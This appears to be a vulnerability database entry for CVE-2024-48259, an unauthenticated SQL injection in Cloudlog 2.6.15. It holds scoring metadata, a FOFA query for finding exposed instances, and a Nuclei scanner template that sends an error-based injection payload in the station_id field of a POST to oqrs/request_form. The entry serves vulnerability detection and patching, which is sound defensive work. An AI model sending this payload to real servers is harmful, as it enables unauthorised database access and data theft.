SecurityContext

CVE-2024-48259: Cloudlog - SQL Injection

Classification

  • Cwe: CWE-89
  • Cvss score: 7.3
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
  • Epss score: 0.00899
  • Epss percentile: 0.60552
  • Cpe: cpe:2.3:a:magicbug:cloudlog:2.6.15:*:*:*:*:*:*:*

Metadata

  • Fofa-query: Login - Cloudlog
  • Max-request: 1
  • Product: cloudlog
  • Vendor: magicbug
  • Verified: yes

Products

ProductIndexedUrl
magicbug:cloudlogyes/v1/products/magicbug/cloudlog

Labels

  • Name: Cloudlog - SQL Injection
  • Impact: Attackers can execute arbitrary SQL commands, potentially leading to data theft, modification, or deletion.
  • Remediation: Update to the latest version of Cloudlog where this issue is fixed, or sanitize inputs properly.
  • Vulnerability type: sql_injection
  • Vulnerability impact: information_disclosure, data_tampering
  • Requirement type: none
  • Labels source: projectdiscovery
  • From cve: CVE-2024-48259
  • Not known: requirements

```yaml

id: CVE-2024-48259

info:

name: Cloudlog - SQL Injection

author: s4e-io

severity: high

description: |

Cloudlog 2.6.15 contains a SQL injection caused by unsanitized input in oqrs.php request_form, letting attackers execute arbitrary SQL commands via station_id or callsign, exploit requires sending crafted request.

impact: |

Attackers can execute arbitrary SQL commands, potentially leading to data theft, modification, or deletion.

remediation: |

Update to the latest version of Cloudlog where this issue is fixed, or sanitize inputs properly.

reference:

- https://chiggerlor.substack.com/p/unauthenticated-sql-injection-in-9a3

- https://github.com/magicbug/Cloudlog

- https://nvd.nist.gov/vuln/detail/CVE-2024-48259

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

cvss-score: 7.3

cve-id: CVE-2024-48259

epss-score: 0.00899

epss-percentile: 0.60552

cwe-id: CWE-89

cpe: cpe:2.3:a:magicbug:cloudlog:2.6.15:*:*:*:*:*:*:*

metadata:

verified: true

max-request: 1

vendor: magicbug

product: cloudlog

fofa-query: "Login - Cloudlog"

tags: cve,cve2024,cloudlog,sqli,vuln,unauth

variables:

num: "999999999"

http:

- raw:

- |

POST /index.php/oqrs/request_form HTTP/1.1

Host: {{Hostname}}

Content-Type: application/x-www-form-urlencoded

station_id=1 AND (SELECT 2469 FROM(SELECT COUNT(*),CONCAT(0x7162716b71,md5({{num}}),0x7162716b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

matchers:

- type: dsl

dsl:

- 'contains_all(body, "A Database Error Occurred", "{{md5({{num}})}}")'

- 'contains(content_type, "text/html")'

- 'status_code == 500'

condition: and

digest: 4a0a00473045022100b3861bee8bc11318bf3503a5008877e61133b1a03ebe1ac0464ca76e72009a6b0220247b61ccb01bdc223bbd914775923a639114b688d0b966c58e17e044e85ae64a:922c64590222798bb761d5b6d8e72950

```